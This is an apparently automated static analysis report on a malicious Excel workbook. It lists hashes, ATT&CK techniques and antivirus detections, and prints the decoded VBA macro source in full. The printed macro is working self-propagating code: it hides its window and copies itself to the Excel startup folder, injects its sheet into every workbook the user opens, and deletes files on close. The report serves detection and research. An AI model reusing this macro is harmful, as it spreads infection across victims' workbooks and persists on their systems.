Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcaab6758d6a9c14…

MALICIOUS

Office (OLE)

1.74 MB Created: 2018-08-22 09:22:59 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: e508e4367b42124388a7ff424819d998 SHA-1: 940da13eb763690c41fd59cf18ccf7fdaa9d027d SHA-256: dcaab6758d6a9c149ce7c5c70721eac32fe63b45ca9234b4a891f51e0b1c478e
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros, including Auto_Open and Auto_Close routines. The Auto_Open macro attempts to copy the workbook to the Excel startup folder (XLSTART) as 'mypersonel.xls', which is a common persistence technique. The Auto_Close macro attempts to convert the file to an older XLS format and delete the original XLSX. The document body content appears to be financial or transactional data, likely a lure.

Heuristics 4

  • ClamAV: Xls.Malware.ExcelSic-10004731-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.ExcelSic-10004731-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1764 bytes
SHA-256: 6be63aa39a2888202c518effae0bc9c734b25c80720d3617ee0d584a8d8e5031
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 End If
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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